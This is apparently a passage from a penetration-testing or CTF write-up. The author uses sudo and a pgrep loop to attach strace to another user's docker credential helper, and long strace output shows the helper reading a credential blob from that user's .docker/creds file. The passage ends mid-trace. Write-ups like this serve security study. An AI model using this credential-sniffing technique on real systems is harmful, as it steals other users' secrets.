<p>When dealing with <code class="language-plaintext highlighter-rouge">strace</code>, it’s useful to see how tracing is configured:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">cat</span> /proc/sys/kernel/yama/ptrace_scope 
<span class="go">0
</span></code></pre></div></div>

<p>According to <a href="https://www.kernel.org/doc/Documentation/security/Yama.txt">the docs</a>, 0 means:</p>

<blockquote>
  <p>classic ptrace permissions: a process can PTRACE_ATTACH to any other process running under the same uid, as long as it is dumpable (i.e. did not transition uids, start privileged, or have called prctl(PR_SET_DUMPABLE…) already). Similarly, PTRACE_TRACEME is unchanged.</p>
</blockquote>

<p>I can trace any process owned by the user running <code class="language-plaintext highlighter-rouge">strace</code>, which means rebecca_smith (and any other user I’ve compromised).</p>

<p><code class="language-plaintext highlighter-rouge">strace</code> won’t honor SetUID, so I can’t run <code class="language-plaintext highlighter-rouge">sudo -u rebecca_smith strace sudo -u rebecca_smith docker login</code>. Instead I have to wait for the <code class="language-plaintext highlighter-rouge">docker login</code> process and then attach to it. I’ll use two SSH sessions. A bit of testing shows that <code class="language-plaintext highlighter-rouge">docker login</code> isn’t the process I’m interested in, but rather <code class="language-plaintext highlighter-rouge">docker-credential-docker-auth</code>.</p>

<p>In the first, I’ll set a loop to watch for <code class="language-plaintext highlighter-rouge">docker-credential-docker-auth</code> processes:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="k">until </span><span class="nv">p</span><span class="o">=</span><span class="si">$(</span>pgrep <span class="nt">-u</span> rebecca_smith <span class="nt">-of</span> <span class="s1">'docker-credential-docker-auth'</span><span class="si">)</span><span class="p">;</span> <span class="k">do </span><span class="nb">sleep </span>0.01<span class="p">;</span> <span class="k">done</span><span class="p">;</span> <span class="nb">sudo</span> <span class="nt">-u</span> rebecca_smith strace <span class="nt">-s</span> 128 <span class="nt">-p</span> <span class="s2">"</span><span class="nv">$p</span><span class="s2">"</span>
</code></pre></div></div>

<p>This hangs, waiting for a <code class="language-plaintext highlighter-rouge">docker-credential-docker-auth</code> process. In another window, I’ll run <code class="language-plaintext highlighter-rouge">docker login</code> as rebecca_smith using <code class="language-plaintext highlighter-rouge">sudo</code>. The original loop finds the process, exits the loop, and attaches:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="k">until </span><span class="nv">p</span><span class="o">=</span><span class="si">$(</span>pgrep <span class="nt">-u</span> rebecca_smith <span class="nt">-of</span> <span class="s1">'docker-credential-docker-auth'</span><span class="si">)</span><span class="p">;</span> <span class="k">do </span><span class="nb">sleep </span>0.01<span class="p">;</span> <span class="k">done</span><span class="p">;</span> <span class="nb">sudo</span> <span class="nt">-u</span> rebecca_smith strace <span class="nt">-s</span> 128 <span class="nt">-p</span> <span class="s2">"</span><span class="nv">$p</span><span class="s2">"</span>
<span class="go">strace: Process 815523 attached
mprotect(0x569c9b2a4000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4a1000) = 0x75cfe7827000
munmap(0x75cfe7827000, 16384)           = 0
mprotect(0x569c9b294000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b295000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b2b0000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x4b1000) = 0x569c9b2b0000
mprotect(0x569c9b2b0000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4b1000) = 0x75cfe7e1e000
munmap(0x75cfe7868000, 8192)            = 0
mprotect(0x569c9b296000, 4096, PROT_READ|PROT_WRITE) = 0
readlink("/usr", 0x7ffdf5e9cac0, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9cac0, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 48
fcntl(48, F_SETFD, FD_CLOEXEC)          = 0
fcntl(48, F_DUPFD_CLOEXEC, 0)           = 49
fstat(49, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 2196472, PROT_READ, MAP_SHARED, 49, 0x3877000) = 0x75cfe407b000
pread64(48, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 59210432) = 64
pread64(48, "PE\0\0\35\375\3\0\257\205\20\312\0\0\0\0\0\0\0\0\360\0\" \v\2\v\0\0\354\32\0\0b\6\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0\0\200\1\0\0\0\0\2\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0P&amp;\0\0\2\0\0\204*\"\0\3\0`\201\0\0@\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0 \0\0\0\0\0\0"..., 264, 59210560) = 264
mmap(0x569c9b2c0000, 6848, PROT_READ, MAP_PRIVATE|MAP_FIXED, 48, 0x3877000) = 0x569c9b2c0000
mmap(0x569c9b2d0000, 1767616, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 48, 0x3877000) = 0x569c9b2d0000
mmap(0x569c9b49f000, 411840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 48, 0x3a26000) = 0x569c9b49f000
mmap(0x569c9b523000, 10944, PROT_READ, MAP_PRIVATE|MAP_FIXED, 48, 0x3a8a000) = 0x569c9b523000
mmap(0x569c9b530000, 131072, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x4c1000) = 0x569c9b530000
mprotect(0x569c9b530000, 73728, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b542000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b297000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b298000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b299000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b29a000, 4096, PROT_READ|PROT_WRITE) = 0
readlink("/usr", 0x7ffdf5e9bdf0, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9bdf0, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 50
fcntl(50, F_SETFD, FD_CLOEXEC)          = 0
fcntl(50, F_DUPFD_CLOEXEC, 0)           = 51
fstat(51, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 193656, PROT_READ, MAP_SHARED, 51, 0x3fbe000) = 0x75cfe4c40000
pread64(50, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 66842368) = 64
pread64(50, "PE\0\0L\1\3\0006T\303\346\0\0\0\0\0\0\0\0\340\0\" \v\0010\0\0\270\2\0\0\10\0\0\0\0\0\0f\327\2\0\0 \0\0\0\340\2\0\0\0\0\20\0 \0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0 \3\0\0\2\0\0\351\243\3\0\3\0`\205\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0"..., 264, 66842496) = 264
mprotect(0x569c9b543000, 28672, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b54a000, 8192, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b29b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b54c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b29c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b29d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b29e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b2a8000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b2ac000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4a9000) = 0x75cfe7827000
munmap(0x75cfe7827000, 16384)           = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x171000) = 0x75cfe7e1d000
munmap(0x75cfe7e1f000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x173000) = 0x75cfe7e1f000
munmap(0x75cfe7e1e000, 4096)            = 0
mprotect(0x569c9b29f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b54d000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b550000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x4e1000) = 0x569c9b550000
mprotect(0x569c9b550000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a488000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9a48c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xb9000) = 0x75cfe7827000
munmap(0x75cfe7827000, 16384)           = 0
mprotect(0x569c9b551000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b552000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b553000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b554000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b555000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b556000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b557000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b560000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x4f1000) = 0x569c9b560000
mprotect(0x569c9b560000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b564000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4f1000) = 0x75cfe7827000
munmap(0x75cfe7827000, 16384)           = 0
mprotect(0x569c9a543000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x173000) = 0x75cfe7868000
munmap(0x75cfe7e20000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x172000) = 0x75cfe7e20000
munmap(0x75cfe7e1f000, 4096)            = 0
openat(AT_FDCWD, "/home/rebecca_smith/.net/docker-credential-docker-auth/gYUkbrOHlN3o8VyLImQ5jVw8cDGqzm8=/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/bin/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/rebecca_smith/.net/docker-credential-docker-auth/gYUkbrOHlN3o8VyLImQ5jVw8cDGqzm8=/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=28899, ...}) = 0
mmap(NULL, 28899, PROT_READ, MAP_PRIVATE, 52, 0) = 0x75cfe7823000
close(52)                               = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/Mono.Unix.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
munmap(0x75cfe7823000, 28899)           = 0
openat(AT_FDCWD, "/home/rebecca_smith/.net/docker-credential-docker-auth/gYUkbrOHlN3o8VyLImQ5jVw8cDGqzm8=/libMono.Unix.so", O_RDONLY|O_CLOEXEC) = 52
read(52, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0`\216\0\0\0\0\0\0@\0\0\0\0\0\0\0@\321\1\0\0\0\0\0\0\0\0\0@\08\0\7\0@\0\32\0\31\0\1\0\0\0\5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\24\274\1\0\0\0\0\0\24\274\1\0\0\0\0\0\0\0 \0\0\0\0\0\1\0\0\0\6\0\0\0"..., 832) = 832
fstat(52, {st_mode=S_IFREG|0664, st_size=120768, ...}) = 0
mmap(NULL, 4315776, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_DENYWRITE, -1, 0) = 0x758f38be1000
mmap(0x758f38c00000, 2218624, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 52, 0) = 0x758f38c00000
munmap(0x758f38be1000, 126976)          = 0
munmap(0x758f38e1e000, 1968768)         = 0
mprotect(0x758f38c1c000, 2097152, PROT_NONE) = 0
mmap(0x758f38e1c000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 52, 0x1c000) = 0x758f38e1c000
close(52)                               = 0
mprotect(0x758f38e1c000, 4096, PROT_READ) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16f000) = 0x75cfe7e1f000
munmap(0x75cfe7e1d000, 4096)            = 0
mprotect(0x569c9b558000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b570000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x501000) = 0x569c9b570000
mprotect(0x569c9b570000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b574000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x501000) = 0x75cfe7827000
munmap(0x75cfe7827000, 16384)           = 0
mprotect(0x569c9b54e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b559000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x172000) = 0x75cfe7e1d000
munmap(0x75cfe7868000, 8192)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x174000) = 0x75cfe7c7e000
munmap(0x75cfe7e1f000, 4096)            = 0
mprotect(0x569c9b55a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b54f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xe000) = 0x75cfe7e1f000
munmap(0x75cfe7e20000, 4096)            = 0
mprotect(0x569c9a544000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x174000) = 0x75cfe7868000
munmap(0x75cfe7e1d000, 8192)            = 0
mprotect(0x569c9a545000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x175000) = 0x75cfe7e1d000
munmap(0x75cfe7c7e000, 4096)            = 0
stat("/proc/self/exe", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 52
connect(52, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(52)                               = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 52
connect(52, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(52)                               = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=665, ...}, 0) = 0
newfstatat(AT_FDCWD, "/", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=665, ...}) = 0
read(52, "# Generated by authselect\n# Do not modify this file manually, use authselect instead. Any user changes will be overwritten.\n# Yo"..., 4096) = 665
read(52, "", 4096)                      = 0
fstat(52, {st_mode=S_IFREG|0644, st_size=665, ...}) = 0
close(52)                               = 0
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=1828, ...}) = 0
lseek(52, 0, SEEK_SET)                  = 0
read(52, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:s"..., 4096) = 1828
lseek(52, 1828, SEEK_SET)               = 1828
close(52)                               = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=665, ...}, 0) = 0
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=1828, ...}) = 0
lseek(52, 0, SEEK_SET)                  = 0
read(52, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:s"..., 4096) = 1828
lseek(52, 1828, SEEK_SET)               = 1828
close(52)                               = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=665, ...}, 0) = 0
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=1828, ...}) = 0
lseek(52, 0, SEEK_SET)                  = 0
read(52, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:s"..., 4096) = 1828
lseek(52, 1828, SEEK_SET)               = 1828
close(52)                               = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=665, ...}, 0) = 0
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=1828, ...}) = 0
lseek(52, 0, SEEK_SET)                  = 0
read(52, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:s"..., 4096) = 1828
lseek(52, 1828, SEEK_SET)               = 1828
close(52)                               = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=665, ...}, 0) = 0
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=1828, ...}) = 0
lseek(52, 0, SEEK_SET)                  = 0
read(52, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:s"..., 4096) = 1828
lseek(52, 1828, SEEK_SET)               = 1828
close(52)                               = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=665, ...}, 0) = 0
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 52
fstat(52, {st_mode=S_IFREG|0644, st_size=1828, ...}) = 0
lseek(52, 0, SEEK_SET)                  = 0
read(52, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:s"..., 4096) = 1828
close(52)                               = 0
readlink("/usr", 0x7ffdf5e9c0a0, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9c0a0, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 52
fcntl(52, F_SETFD, FD_CLOEXEC)          = 0
fcntl(52, F_DUPFD_CLOEXEC, 0)           = 53
fstat(53, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 16352, PROT_READ, MAP_SHARED, 53, 0x3b7d000) = 0x75cfe7827000
mprotect(0x569c9b55b000, 4096, PROT_READ|PROT_WRITE) = 0
pread64(52, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 62378176) = 64
pread64(52, "PE\0\0L\1\3\0F}\250\370\0\0\0\0\0\0\0\0\340\0\"!\v\0010\0\0\f\0\0\0\10\0\0\0\0\0\0N*\0\0\0 \0\0\0\0\0\0\0\0@\0\0 \0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\200\0\0\0\2\0\0o\177\0\0\3\0`\205\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0"..., 264, 62378304) = 264
mmap(0x569c9b580000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x511000) = 0x569c9b580000
mprotect(0x569c9b580000, 12288, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b55c000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16c000) = 0x75cfe7e20000
munmap(0x75cfe7e1f000, 4096)            = 0
mprotect(0x569c9a546000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x176000) = 0x75cfe7825000
munmap(0x75cfe7868000, 8192)            = 0
mprotect(0x569c9a547000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x177000) = 0x75cfe7868000
munmap(0x75cfe7e20000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x173000) = 0x75cfe7e20000
munmap(0x75cfe7e1d000, 8192)            = 0
mprotect(0x569c9b55d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b583000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b55e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b55f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b584000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b590000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x521000) = 0x569c9b590000
mprotect(0x569c9b590000, 4096, PROT_READ|PROT_WRITE) = 0
openat(AT_FDCWD, "/home/rebecca_smith/.docker/creds", O_RDONLY|O_CLOEXEC) = 54
fstat(54, {st_mode=S_IFREG|0700, st_size=88, ...}) = 0
flock(54, LOCK_SH|LOCK_NB)              = 0
mprotect(0x569c9b591000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b578000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b57c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x509000) = 0x75cfe7821000
munmap(0x75cfe7821000, 16384)           = 0
mprotect(0x569c9b592000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b585000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b593000, 4096, PROT_READ|PROT_WRITE) = 0
pread64(54, "ls/Lbtzq4b4D/ItZy5SchUvKEzgO7+XHLaVbze4KOKzZxqhsTRWdBmAw1Fcs/nWhIvQVLcoa5NF39WM3tv6jVA==", 4096, 0) = 88
pread64(54, "", 4096, 88)               = 0
flock(54, LOCK_UN)                      = 0
close(54)                               = 0
mprotect(0x569c9b594000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d43763000)                     = 0x569d43763000
mprotect(0x569c9b595000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b596000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b597000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b598000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b599000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b59a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b568000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b56c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4f9000) = 0x75cfe7821000
munmap(0x75cfe7821000, 16384)           = 0
mmap(0x569c9b5a0000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x531000) = 0x569c9b5a0000
mprotect(0x569c9b5a0000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b5a4000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x531000) = 0x75cfe7821000
munmap(0x75cfe7821000, 16384)           = 0
brk(0x569d43761000)                     = 0x569d43761000
brk(0x569d4375f000)                     = 0x569d4375f000
brk(0x569d4375e000)                     = 0x569d4375e000
brk(0x569d4375d000)                     = 0x569d4375d000
mprotect(0x569c9b586000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b59b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b59c000, 4096, PROT_READ|PROT_WRITE) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 54
fstat(54, {st_mode=S_IFREG|0644, st_size=28899, ...}) = 0
mmap(NULL, 28899, PROT_READ, MAP_PRIVATE, 54, 0) = 0x75cfe781d000
close(54)                               = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libssl.so.3", O_RDONLY|O_CLOEXEC) = 54
read(54, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\0\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\200\231\n\0\0\0\0\0\0\0\0\0@\08\0\v\0@\0\35\0\34\0\1\0\0\0\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\334\1\0\0\0\0\0\300\334\1\0\0\0\0\0\0\20\0\0\0\0\0\0\1\0\0\0\5\0\0\0"..., 832) = 832
fstat(54, {st_mode=S_IFREG|0644, st_size=696512, ...}) = 0
mmap(NULL, 694384, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 54, 0) = 0x758f3b425000
mmap(0x758f3b443000, 401408, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 54, 0x1e000) = 0x758f3b443000
mmap(0x758f3b4a5000, 114688, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 54, 0x80000) = 0x758f3b4a5000
mmap(0x758f3b4c1000, 57344, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 54, 0x9c000) = 0x758f3b4c1000
close(54)                               = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcrypto.so.3", O_RDONLY|O_CLOEXEC) = 54
read(54, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\0\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\230\354P\0\0\0\0\0\0\0\0\0@\08\0\v\0@\0\35\0\34\0\1\0\0\0\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p/\v\0\0\0\0\0p/\v\0\0\0\0\0\0\20\0\0\0\0\0\0\1\0\0\0\5\0\0\0"..., 832) = 832
fstat(54, {st_mode=S_IFREG|0644, st_size=5305304, ...}) = 0
mmap(NULL, 5319632, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 54, 0) = 0x758f38600000
